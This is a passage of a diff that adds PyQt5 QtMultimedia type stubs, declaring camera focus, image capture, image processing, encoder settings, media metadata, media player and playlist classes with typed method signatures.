typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def focusPointModeChanged(self, mode: QCameraFocus.FocusPointMode) -> None: ... + def focusModeChanged(self, mode: typing.Union[QCameraFocus.FocusModes, QCameraFocus.FocusMode]) -> None: ... + def focusZones(self) -> typing.List[QCameraFocusZone]: ... + def setCustomFocusPoint(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def customFocusPoint(self) -> QtCore.QPointF: ... + def isFocusPointModeSupported(self, mode: QCameraFocus.FocusPointMode) -> bool: ... + def setFocusPointMode(self, mode: QCameraFocus.FocusPointMode) -> None: ... + def focusPointMode(self) -> QCameraFocus.FocusPointMode: ... + def isFocusModeSupported(self, mode: typing.Union[QCameraFocus.FocusModes, QCameraFocus.FocusMode]) -> bool: ... + def setFocusMode(self, mode: typing.Union[QCameraFocus.FocusModes, QCameraFocus.FocusMode]) -> None: ... + def focusMode(self) -> QCameraFocus.FocusModes: ... + + +class QCameraImageCapture(QtCore.QObject, QMediaBindableInterface): + + class CaptureDestination(int): + CaptureToFile = ... # type: QCameraImageCapture.CaptureDestination + CaptureToBuffer = ... # type: QCameraImageCapture.CaptureDestination + + class DriveMode(int): + SingleImageCapture = ... # type: QCameraImageCapture.DriveMode + + class Error(int): + NoError = ... # type: QCameraImageCapture.Error + NotReadyError = ... # type: QCameraImageCapture.Error + ResourceError = ... # type: QCameraImageCapture.Error + OutOfSpaceError = ... # type: QCameraImageCapture.Error + NotSupportedFeatureError = ... # type: QCameraImageCapture.Error + FormatError = ... # type: QCameraImageCapture.Error + + class CaptureDestinations(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QCameraImageCapture.CaptureDestinations', 'QCameraImageCapture.CaptureDestination']) -> None: ... + @typing.overload + def __init__(self, a0: 'QCameraImageCapture.CaptureDestinations') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QCameraImageCapture.CaptureDestinations': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, mediaObject: QMediaObject, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setMediaObject(self, a0: QMediaObject) -> bool: ... + def imageSaved(self, id: int, fileName: str) -> None: ... + def imageAvailable(self, id: int, image: 'QVideoFrame') -> None: ... + def imageMetadataAvailable(self, id: int, key: str, value: typing.Any) -> None: ... + def imageCaptured(self, id: int, preview: QtGui.QImage) -> None: ... + def imageExposed(self, id: int) -> None: ... + def captureDestinationChanged(self, a0: typing.Union['QCameraImageCapture.CaptureDestinations', 'QCameraImageCapture.CaptureDestination']) -> None: ... + def bufferFormatChanged(self, a0: 'QVideoFrame.PixelFormat') -> None: ... + def readyForCaptureChanged(self, a0: bool) -> None: ... + def cancelCapture(self) -> None: ... + def capture(self, file: str = ...) -> int: ... + def setCaptureDestination(self, destination: typing.Union['QCameraImageCapture.CaptureDestinations', 'QCameraImageCapture.CaptureDestination']) -> None: ... + def captureDestination(self) -> 'QCameraImageCapture.CaptureDestinations': ... + def isCaptureDestinationSupported(self, destination: typing.Union['QCameraImageCapture.CaptureDestinations', 'QCameraImageCapture.CaptureDestination']) -> bool: ... + def setBufferFormat(self, format: 'QVideoFrame.PixelFormat') -> None: ... + def bufferFormat(self) -> 'QVideoFrame.PixelFormat': ... + def supportedBufferFormats(self) -> typing.List['QVideoFrame.PixelFormat']: ... + def setEncodingSettings(self, settings: 'QImageEncoderSettings') -> None: ... + def encodingSettings(self) -> 'QImageEncoderSettings': ... + def supportedResolutions(self, settings: 'QImageEncoderSettings' = ...) -> typing.Tuple[typing.List[QtCore.QSize], bool]: ... + def imageCodecDescription(self, codecName: str) -> str: ... + def supportedImageCodecs(self) -> typing.List[str]: ... + def isReadyForCapture(self) -> bool: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QCameraImageCapture.Error': ... + @typing.overload + def error(self, id: int, error: 'QCameraImageCapture.Error', errorString: str) -> None: ... + def mediaObject(self) -> QMediaObject: ... + def availability(self) -> 'QMultimedia.AvailabilityStatus': ... + def isAvailable(self) -> bool: ... + + +class QCameraImageCaptureControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def error(self, id: int, error: int, errorString: str) -> None: ... + def imageSaved(self, requestId: int, fileName: str) -> None: ... + def imageAvailable(self, requestId: int, buffer: 'QVideoFrame') -> None: ... + def imageMetadataAvailable(self, id: int, key: str, value: typing.Any) -> None: ... + def imageCaptured(self, requestId: int, preview: QtGui.QImage) -> None: ... + def imageExposed(self, requestId: int) -> None: ... + def readyForCaptureChanged(self, ready: bool) -> None: ... + def cancelCapture(self) -> None: ... + def capture(self, fileName: str) -> int: ... + def setDriveMode(self, mode: QCameraImageCapture.DriveMode) -> None: ... + def driveMode(self) -> QCameraImageCapture.DriveMode: ... + def isReadyForCapture(self) -> bool: ... + + +class QCameraImageProcessing(QtCore.QObject): + + class ColorFilter(int): + ColorFilterNone = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterGrayscale = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterNegative = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterSolarize = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterSepia = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterPosterize = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterWhiteboard = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterBlackboard = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterAqua = ... # type: QCameraImageProcessing.ColorFilter + ColorFilterVendor = ... # type: QCameraImageProcessing.ColorFilter + + class WhiteBalanceMode(int): + WhiteBalanceAuto = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceManual = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceSunlight = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceCloudy = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceShade = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceTungsten = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceFluorescent = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceFlash = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceSunset = ... # type: QCameraImageProcessing.WhiteBalanceMode + WhiteBalanceVendor = ... # type: QCameraImageProcessing.WhiteBalanceMode + + def setBrightness(self, value: float) -> None: ... + def brightness(self) -> float: ... + def isColorFilterSupported(self, filter: 'QCameraImageProcessing.ColorFilter') -> bool: ... + def setColorFilter(self, filter: 'QCameraImageProcessing.ColorFilter') -> None: ... + def colorFilter(self) -> 'QCameraImageProcessing.ColorFilter': ... + def setDenoisingLevel(self, value: float) -> None: ... + def denoisingLevel(self) -> float: ... + def setSharpeningLevel(self, value: float) -> None: ... + def sharpeningLevel(self) -> float: ... + def setSaturation(self, value: float) -> None: ... + def saturation(self) -> float: ... + def setContrast(self, value: float) -> None: ... + def contrast(self) -> float: ... + def setManualWhiteBalance(self, colorTemperature: float) -> None: ... + def manualWhiteBalance(self) -> float: ... + def isWhiteBalanceModeSupported(self, mode: 'QCameraImageProcessing.WhiteBalanceMode') -> bool: ... + def setWhiteBalanceMode(self, mode: 'QCameraImageProcessing.WhiteBalanceMode') -> None: ... + def whiteBalanceMode(self) -> 'QCameraImageProcessing.WhiteBalanceMode': ... + def isAvailable(self) -> bool: ... + + +class QCameraImageProcessingControl(QMediaControl): + + class ProcessingParameter(int): + WhiteBalancePreset = ... # type: QCameraImageProcessingControl.ProcessingParameter + ColorTemperature = ... # type: QCameraImageProcessingControl.ProcessingParameter + Contrast = ... # type: QCameraImageProcessingControl.ProcessingParameter + Saturation = ... # type: QCameraImageProcessingControl.ProcessingParameter + Brightness = ... # type: QCameraImageProcessingControl.ProcessingParameter + Sharpening = ... # type: QCameraImageProcessingControl.ProcessingParameter + Denoising = ... # type: QCameraImageProcessingControl.ProcessingParameter + ContrastAdjustment = ... # type: QCameraImageProcessingControl.ProcessingParameter + SaturationAdjustment = ... # type: QCameraImageProcessingControl.ProcessingParameter + BrightnessAdjustment = ... # type: QCameraImageProcessingControl.ProcessingParameter + SharpeningAdjustment = ... # type: QCameraImageProcessingControl.ProcessingParameter + DenoisingAdjustment = ... # type: QCameraImageProcessingControl.ProcessingParameter + ColorFilter = ... # type: QCameraImageProcessingControl.ProcessingParameter + ExtendedParameter = ... # type: QCameraImageProcessingControl.ProcessingParameter + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setParameter(self, parameter: 'QCameraImageProcessingControl.ProcessingParameter', value: typing.Any) -> None: ... + def parameter(self, parameter: 'QCameraImageProcessingControl.ProcessingParameter') -> typing.Any: ... + def isParameterValueSupported(self, parameter: 'QCameraImageProcessingControl.ProcessingParameter', value: typing.Any) -> bool: ... + def isParameterSupported(self, a0: 'QCameraImageProcessingControl.ProcessingParameter') -> bool: ... + + +class QCameraInfo(sip.simplewrapper): + + @typing.overload + def __init__(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray] = ...) -> None: ... + @typing.overload + def __init__(self, camera: QCamera) -> None: ... + @typing.overload + def __init__(self, other: 'QCameraInfo') -> None: ... + + @staticmethod + def availableCameras(position: QCamera.Position = ...) -> typing.List['QCameraInfo']: ... + @staticmethod + def defaultCamera() -> 'QCameraInfo': ... + def orientation(self) -> int: ... + def position(self) -> QCamera.Position: ... + def description(self) -> str: ... + def deviceName(self) -> str: ... + def isNull(self) -> bool: ... + + +class QCameraInfoControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def cameraOrientation(self, deviceName: str) -> int: ... + def cameraPosition(self, deviceName: str) -> QCamera.Position: ... + + +class QCameraLocksControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def lockStatusChanged(self, type: QCamera.LockType, status: QCamera.LockStatus, reason: QCamera.LockChangeReason) -> None: ... + def unlock(self, locks: typing.Union[QCamera.LockTypes, QCamera.LockType]) -> None: ... + def searchAndLock(self, locks: typing.Union[QCamera.LockTypes, QCamera.LockType]) -> None: ... + def lockStatus(self, lock: QCamera.LockType) -> QCamera.LockStatus: ... + def supportedLocks(self) -> QCamera.LockTypes: ... + + +class QCameraViewfinderSettings(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QCameraViewfinderSettings') -> None: ... + + @typing.overload + def setPixelAspectRatio(self, ratio: QtCore.QSize) -> None: ... + @typing.overload + def setPixelAspectRatio(self, horizontal: int, vertical: int) -> None: ... + def pixelAspectRatio(self) -> QtCore.QSize: ... + def setPixelFormat(self, format: 'QVideoFrame.PixelFormat') -> None: ... + def pixelFormat(self) -> 'QVideoFrame.PixelFormat': ... + def setMaximumFrameRate(self, rate: float) -> None: ... + def maximumFrameRate(self) -> float: ... + def setMinimumFrameRate(self, rate: float) -> None: ... + def minimumFrameRate(self) -> float: ... + @typing.overload + def setResolution(self, a0: QtCore.QSize) -> None: ... + @typing.overload + def setResolution(self, width: int, height: int) -> None: ... + def resolution(self) -> QtCore.QSize: ... + def isNull(self) -> bool: ... + def swap(self, other: 'QCameraViewfinderSettings') -> None: ... + + +class QCameraViewfinderSettingsControl(QMediaControl): + + class ViewfinderParameter(int): + Resolution = ... # type: QCameraViewfinderSettingsControl.ViewfinderParameter + PixelAspectRatio = ... # type: QCameraViewfinderSettingsControl.ViewfinderParameter + MinimumFrameRate = ... # type: QCameraViewfinderSettingsControl.ViewfinderParameter + MaximumFrameRate = ... # type: QCameraViewfinderSettingsControl.ViewfinderParameter + PixelFormat = ... # type: QCameraViewfinderSettingsControl.ViewfinderParameter + UserParameter = ... # type: QCameraViewfinderSettingsControl.ViewfinderParameter + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setViewfinderParameter(self, parameter: 'QCameraViewfinderSettingsControl.ViewfinderParameter', value: typing.Any) -> None: ... + def viewfinderParameter(self, parameter: 'QCameraViewfinderSettingsControl.ViewfinderParameter') -> typing.Any: ... + def isViewfinderParameterSupported(self, parameter: 'QCameraViewfinderSettingsControl.ViewfinderParameter') -> bool: ... + + +class QCameraViewfinderSettingsControl2(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setViewfinderSettings(self, settings: QCameraViewfinderSettings) -> None: ... + def viewfinderSettings(self) -> QCameraViewfinderSettings: ... + def supportedViewfinderSettings(self) -> typing.List[QCameraViewfinderSettings]: ... + + +class QCameraZoomControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def currentDigitalZoomChanged(self, digitalZoom: float) -> None: ... + def currentOpticalZoomChanged(self, opticalZoom: float) -> None: ... + def requestedDigitalZoomChanged(self, digitalZoom: float) -> None: ... + def requestedOpticalZoomChanged(self, opticalZoom: float) -> None: ... + def maximumDigitalZoomChanged(self, a0: float) -> None: ... + def maximumOpticalZoomChanged(self, a0: float) -> None: ... + def zoomTo(self, optical: float, digital: float) -> None: ... + def currentDigitalZoom(self) -> float: ... + def currentOpticalZoom(self) -> float: ... + def requestedDigitalZoom(self) -> float: ... + def requestedOpticalZoom(self) -> float: ... + def maximumDigitalZoom(self) -> float: ... + def maximumOpticalZoom(self) -> float: ... + + +class QCustomAudioRoleControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def customAudioRoleChanged(self, role: str) -> None: ... + def supportedCustomAudioRoles(self) -> typing.List[str]: ... + def setCustomAudioRole(self, role: str) -> None: ... + def customAudioRole(self) -> str: ... + + +class QImageEncoderControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setImageSettings(self, settings: 'QImageEncoderSettings') -> None: ... + def imageSettings(self) -> 'QImageEncoderSettings': ... + def supportedResolutions(self, settings: 'QImageEncoderSettings') -> typing.Tuple[typing.List[QtCore.QSize], bool]: ... + def imageCodecDescription(self, codec: str) -> str: ... + def supportedImageCodecs(self) -> typing.List[str]: ... + + +class QMediaAudioProbeControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def flush(self) -> None: ... + def audioBufferProbed(self, buffer: QAudioBuffer) -> None: ... + + +class QMediaAvailabilityControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def availabilityChanged(self, availability: 'QMultimedia.AvailabilityStatus') -> None: ... + def availability(self) -> 'QMultimedia.AvailabilityStatus': ... + + +class QMediaContainerControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def containerDescription(self, formatMimeType: str) -> str: ... + def setContainerFormat(self, format: str) -> None: ... + def containerFormat(self) -> str: ... + def supportedContainers(self) -> typing.List[str]: ... + + +class QMediaContent(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, contentUrl: QtCore.QUrl) -> None: ... + @typing.overload + def __init__(self, contentRequest: QtNetwork.QNetworkRequest) -> None: ... + @typing.overload + def __init__(self, contentResource: 'QMediaResource') -> None: ... + @typing.overload + def __init__(self, resources: typing.Iterable['QMediaResource']) -> None: ... + @typing.overload + def __init__(self, other: 'QMediaContent') -> None: ... + @typing.overload + def __init__(self, playlist: 'QMediaPlaylist', contentUrl: QtCore.QUrl = ...) -> None: ... + + def request(self) -> QtNetwork.QNetworkRequest: ... + def playlist(self) -> 'QMediaPlaylist': ... + def resources(self) -> typing.List['QMediaResource']: ... + def canonicalResource(self) -> 'QMediaResource': ... + def canonicalRequest(self) -> QtNetwork.QNetworkRequest: ... + def canonicalUrl(self) -> QtCore.QUrl: ... + def isNull(self) -> bool: ... + + +class QAudioEncoderSettings(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QAudioEncoderSettings') -> None: ... + + def setEncodingOptions(self, options: typing.Dict[str, typing.Any]) -> None: ... + def setEncodingOption(self, option: str, value: typing.Any) -> None: ... + def encodingOptions(self) -> typing.Dict[str, typing.Any]: ... + def encodingOption(self, option: str) -> typing.Any: ... + def setQuality(self, quality: 'QMultimedia.EncodingQuality') -> None: ... + def quality(self) -> 'QMultimedia.EncodingQuality': ... + def setSampleRate(self, rate: int) -> None: ... + def sampleRate(self) -> int: ... + def setChannelCount(self, channels: int) -> None: ... + def channelCount(self) -> int: ... + def setBitRate(self, bitrate: int) -> None: ... + def bitRate(self) -> int: ... + def setCodec(self, codec: str) -> None: ... + def codec(self) -> str: ... + def setEncodingMode(self, a0: 'QMultimedia.EncodingMode') -> None: ... + def encodingMode(self) -> 'QMultimedia.EncodingMode': ... + def isNull(self) -> bool: ... + + +class QVideoEncoderSettings(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QVideoEncoderSettings') -> None: ... + + def setEncodingOptions(self, options: typing.Dict[str, typing.Any]) -> None: ... + def setEncodingOption(self, option: str, value: typing.Any) -> None: ... + def encodingOptions(self) -> typing.Dict[str, typing.Any]: ... + def encodingOption(self, option: str) -> typing.Any: ... + def setQuality(self, quality: 'QMultimedia.EncodingQuality') -> None: ... + def quality(self) -> 'QMultimedia.EncodingQuality': ... + def setBitRate(self, bitrate: int) -> None: ... + def bitRate(self) -> int: ... + def setFrameRate(self, rate: float) -> None: ... + def frameRate(self) -> float: ... + @typing.overload + def setResolution(self, a0: QtCore.QSize) -> None: ... + @typing.overload + def setResolution(self, width: int, height: int) -> None: ... + def resolution(self) -> QtCore.QSize: ... + def setCodec(self, a0: str) -> None: ... + def codec(self) -> str: ... + def setEncodingMode(self, a0: 'QMultimedia.EncodingMode') -> None: ... + def encodingMode(self) -> 'QMultimedia.EncodingMode': ... + def isNull(self) -> bool: ... + + +class QImageEncoderSettings(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QImageEncoderSettings') -> None: ... + + def setEncodingOptions(self, options: typing.Dict[str, typing.Any]) -> None: ... + def setEncodingOption(self, option: str, value: typing.Any) -> None: ... + def encodingOptions(self) -> typing.Dict[str, typing.Any]: ... + def encodingOption(self, option: str) -> typing.Any: ... + def setQuality(self, quality: 'QMultimedia.EncodingQuality') -> None: ... + def quality(self) -> 'QMultimedia.EncodingQuality': ... + @typing.overload + def setResolution(self, a0: QtCore.QSize) -> None: ... + @typing.overload + def setResolution(self, width: int, height: int) -> None: ... + def resolution(self) -> QtCore.QSize: ... + def setCodec(self, a0: str) -> None: ... + def codec(self) -> str: ... + def isNull(self) -> bool: ... + + +class QMediaGaplessPlaybackControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def advancedToNextMedia(self) -> None: ... + def nextMediaChanged(self, media: QMediaContent) -> None: ... + def crossfadeTimeChanged(self, crossfadeTime: float) -> None: ... + def setCrossfadeTime(self, crossfadeTime: float) -> None: ... + def crossfadeTime(self) -> float: ... + def isCrossfadeSupported(self) -> bool: ... + def setNextMedia(self, media: QMediaContent) -> None: ... + def nextMedia(self) -> QMediaContent: ... + + +class QMediaMetaData(PyQt5.sip.simplewrapper): + + AlbumArtist = ... # type: str + AlbumTitle = ... # type: str + AudioBitRate = ... # type: str + AudioCodec = ... # type: str + Author = ... # type: str + AverageLevel = ... # type: str + CameraManufacturer = ... # type: str + CameraModel = ... # type: str + Category = ... # type: str + ChannelCount = ... # type: str + ChapterNumber = ... # type: str + Comment = ... # type: str + Composer = ... # type: str + Conductor = ... # type: str + Contrast = ... # type: str + ContributingArtist = ... # type: str + Copyright = ... # type: str + CoverArtImage = ... # type: str + CoverArtUrlLarge = ... # type: str + CoverArtUrlSmall = ... # type: str + Date = ... # type: str + DateTimeDigitized = ... # type: str + DateTimeOriginal = ... # type: str + Description = ... # type: str + DeviceSettingDescription = ... # type: str + DigitalZoomRatio = ... # type: str + Director = ... # type: str + Duration = ... # type: str + Event = ... # type: str + ExposureBiasValue = ... # type: str + ExposureMode = ... # type: str + ExposureProgram = ... # type: str + ExposureTime = ... # type: str + FNumber = ... # type: str + Flash = ... # type: str + FocalLength = ... # type: str + FocalLengthIn35mmFilm = ... # type: str + GPSAltitude = ... # type: str + GPSAreaInformation = ... # type: str + GPSDOP = ... # type: str + GPSImgDirection = ... # type: str + GPSImgDirectionRef = ... # type: str + GPSLatitude = ... # type: str + GPSLongitude = ... # type: str + GPSMapDatum = ... # type: str + GPSProcessingMethod = ... # type: str + GPSSatellites = ... # type: str + GPSSpeed = ... # type: str + GPSStatus = ... # type: str + GPSTimeStamp = ... # type: str + GPSTrack = ... # type: str + GPSTrackRef = ... # type: str + GainControl = ... # type: str + Genre = ... # type: str + ISOSpeedRatings = ... # type: str + Keywords = ... # type: str + Language = ... # type: str + LeadPerformer = ... # type: str + LightSource = ... # type: str + Lyrics = ... # type: str + MediaType = ... # type: str + MeteringMode = ... # type: str + Mood = ... # type: str + Orientation = ... # type: str + ParentalRating = ... # type: str + PeakValue = ... # type: str + PixelAspectRatio = ... # type: str + PosterImage = ... # type: str + PosterUrl = ... # type: str + Publisher = ... # type: str + RatingOrganization = ... # type: str + Resolution = ... # type: str + SampleRate = ... # type: str + Saturation = ... # type: str + SceneCaptureType = ... # type: str + Sharpness = ... # type: str + Size = ... # type: str + SubTitle = ... # type: str + Subject = ... # type: str + SubjectDistance = ... # type: str + ThumbnailImage = ... # type: str + Title = ... # type: str + TrackCount = ... # type: str + TrackNumber = ... # type: str + UserRating = ... # type: str + VideoBitRate = ... # type: str + VideoCodec = ... # type: str + VideoFrameRate = ... # type: str + WhiteBalance = ... # type: str + Writer = ... # type: str + Year = ... # type: str + + +class QMediaNetworkAccessControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def configurationChanged(self, configuration: QtNetwork.QNetworkConfiguration) -> None: ... + def currentConfiguration(self) -> QtNetwork.QNetworkConfiguration: ... + def setConfigurations(self, configuration: typing.Iterable[QtNetwork.QNetworkConfiguration]) -> None: ... + + +class QMediaPlayer(QMediaObject): + + class Error(int): + NoError = ... # type: QMediaPlayer.Error + ResourceError = ... # type: QMediaPlayer.Error + FormatError = ... # type: QMediaPlayer.Error + NetworkError = ... # type: QMediaPlayer.Error + AccessDeniedError = ... # type: QMediaPlayer.Error + ServiceMissingError = ... # type: QMediaPlayer.Error + + class Flag(int): + LowLatency = ... # type: QMediaPlayer.Flag + StreamPlayback = ... # type: QMediaPlayer.Flag + VideoSurface = ... # type: QMediaPlayer.Flag + + class MediaStatus(int): + UnknownMediaStatus = ... # type: QMediaPlayer.MediaStatus + NoMedia = ... # type: QMediaPlayer.MediaStatus + LoadingMedia = ... # type: QMediaPlayer.MediaStatus + LoadedMedia = ... # type: QMediaPlayer.MediaStatus + StalledMedia = ... # type: QMediaPlayer.MediaStatus + BufferingMedia = ... # type: QMediaPlayer.MediaStatus + BufferedMedia = ... # type: QMediaPlayer.MediaStatus + EndOfMedia = ... # type: QMediaPlayer.MediaStatus + InvalidMedia = ... # type: QMediaPlayer.MediaStatus + + class State(int): + StoppedState = ... # type: QMediaPlayer.State + PlayingState = ... # type: QMediaPlayer.State + PausedState = ... # type: QMediaPlayer.State + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QMediaPlayer.Flags', 'QMediaPlayer.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QMediaPlayer.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QMediaPlayer.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ..., flags: typing.Union['QMediaPlayer.Flags', 'QMediaPlayer.Flag'] = ...) -> None: ... + + def customAudioRoleChanged(self, role: str) -> None: ... + def supportedCustomAudioRoles(self) -> typing.List[str]: ... + def setCustomAudioRole(self, audioRole: str) -> None: ... + def customAudioRole(self) -> str: ... + def audioRoleChanged(self, role: QAudio.Role) -> None: ... + def supportedAudioRoles(self) -> typing.List[QAudio.Role]: ... + def setAudioRole(self, audioRole: QAudio.Role) -> None: ... + def audioRole(self) -> QAudio.Role: ... + def unbind(self, a0: QtCore.QObject) -> None: ... + def bind(self, a0: QtCore.QObject) -> bool: ... + def networkConfigurationChanged(self, configuration: QtNetwork.QNetworkConfiguration) -> None: ... + def playbackRateChanged(self, rate: float) -> None: ... + def seekableChanged(self, seekable: bool) -> None: ... + def bufferStatusChanged(self, percentFilled: int) -> None: ... + def videoAvailableChanged(self, videoAvailable: bool) -> None: ... + def audioAvailableChanged(self, available: bool) -> None: ... + def mutedChanged(self, muted: bool) -> None: ... + def volumeChanged(self, volume: int) -> None: ... + def positionChanged(self, position: int) -> None: ... + def durationChanged(self, duration: int) -> None: ... + def mediaStatusChanged(self, status: 'QMediaPlayer.MediaStatus') -> None: ... + def stateChanged(self, newState: 'QMediaPlayer.State') -> None: ... + def currentMediaChanged(self, media: QMediaContent) -> None: ... + def mediaChanged(self, media: QMediaContent) -> None: ... + def setNetworkConfigurations(self, configurations: typing.Iterable[QtNetwork.QNetworkConfiguration]) -> None: ... + def setPlaylist(self, playlist: 'QMediaPlaylist') -> None: ... + def setMedia(self, media: QMediaContent, stream: typing.Optional[QtCore.QIODevice] = ...) -> None: ... + def setPlaybackRate(self, rate: float) -> None: ... + def setMuted(self, muted: bool) -> None: ... + def setVolume(self, volume: int) -> None: ... + def setPosition(self, position: int) -> None: ... + def stop(self) -> None: ... + def pause(self) -> None: ... + def play(self) -> None: ... + def availability(self) -> 'QMultimedia.AvailabilityStatus': ... + def currentNetworkConfiguration(self) -> QtNetwork.QNetworkConfiguration: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QMediaPlayer.Error': ... + @typing.overload + def error(self, error: 'QMediaPlayer.Error') -> None: ... + def playbackRate(self) -> float: ... + def isSeekable(self) -> bool: ... + def bufferStatus(self) -> int: ... + def isVideoAvailable(self) -> bool: ... + def isAudioAvailable(self) -> bool: ... + def isMuted(self) -> bool: ... + def volume(self) -> int: ... + def position(self) -> int: ... + def duration(self) -> int: ... + def mediaStatus(self) -> 'QMediaPlayer.MediaStatus': ... + def state(self) -> 'QMediaPlayer.State': ... + def currentMedia(self) -> QMediaContent: ... + def playlist(self) -> 'QMediaPlaylist': ... + def mediaStream(self) -> QtCore.QIODevice: ... + def media(self) -> QMediaContent: ... + @typing.overload + def setVideoOutput(self, a0: QVideoWidget) -> None: ... + @typing.overload + def setVideoOutput(self, a0: QGraphicsVideoItem) -> None: ... + @typing.overload + def setVideoOutput(self, surface: QAbstractVideoSurface) -> None: ... + @typing.overload + def setVideoOutput(self, surfaces: typing.Iterable[QAbstractVideoSurface]) -> None: ... + @staticmethod + def supportedMimeTypes(flags: typing.Union['QMediaPlayer.Flags', 'QMediaPlayer.Flag'] = ...) -> typing.List[str]: ... + @staticmethod + def hasSupport(mimeType: str, codecs: typing.Iterable[str] = ..., flags: typing.Union['QMediaPlayer.Flags', 'QMediaPlayer.Flag'] = ...) -> 'QMultimedia.SupportEstimate': ... + + +class QMediaPlayerControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def error(self, error: int, errorString: str) -> None: ... + def playbackRateChanged(self, rate: float) -> None: ... + def availablePlaybackRangesChanged(self, ranges: 'QMediaTimeRange') -> None: ... + def seekableChanged(self, seekable: bool) -> None: ... + def bufferStatusChanged(self, percentFilled: int) -> None: ... + def videoAvailableChanged(self, videoAvailable: bool) -> None: ... + def audioAvailableChanged(self, audioAvailable: bool) -> None: ... + def mutedChanged(self, mute: bool) -> None: ... + def volumeChanged(self, volume: int) -> None: ... + def mediaStatusChanged(self, status: QMediaPlayer.MediaStatus) -> None: ... + def stateChanged(self, newState: QMediaPlayer.State) -> None: ... + def positionChanged(self, position: int) -> None: ... + def durationChanged(self, duration: int) -> None: ... + def mediaChanged(self, content: QMediaContent) -> None: ... + def stop(self) -> None: ... + def pause(self) -> None: ... + def play(self) -> None: ... + def setMedia(self, media: QMediaContent, stream: QtCore.QIODevice) -> None: ... + def mediaStream(self) -> QtCore.QIODevice: ... + def media(self) -> QMediaContent: ... + def setPlaybackRate(self, rate: float) -> None: ... + def playbackRate(self) -> float: ... + def availablePlaybackRanges(self) -> 'QMediaTimeRange': ... + def isSeekable(self) -> bool: ... + def isVideoAvailable(self) -> bool: ... + def isAudioAvailable(self) -> bool: ... + def bufferStatus(self) -> int: ... + def setMuted(self, mute: bool) -> None: ... + def isMuted(self) -> bool: ... + def setVolume(self, volume: int) -> None: ... + def volume(self) -> int: ... + def setPosition(self, position: int) -> None: ... + def position(self) -> int: ... + def duration(self) -> int: ... + def mediaStatus(self) -> QMediaPlayer.MediaStatus: ... + def state(self) -> QMediaPlayer.State: ... + + +class QMediaPlaylist(QtCore.QObject, QMediaBindableInterface): + + class Error(int): + NoError = ... # type: QMediaPlaylist.Error + FormatError = ... # type: QMediaPlaylist.Error + FormatNotSupportedError = ... # type: QMediaPlaylist.Error + NetworkError = ... # type: QMediaPlaylist.Error + AccessDeniedError = ... # type: QMediaPlaylist.Error + + class PlaybackMode(int): + CurrentItemOnce = ... # type: QMediaPlaylist.PlaybackMode + CurrentItemInLoop = ... # type: QMediaPlaylist.PlaybackMode + Sequential = ... # type: QMediaPlaylist.PlaybackMode + Loop = ... # type: QMediaPlaylist.PlaybackMode + Random = ... # type: QMediaPlaylist.PlaybackMode + + def __init__(self, parent: 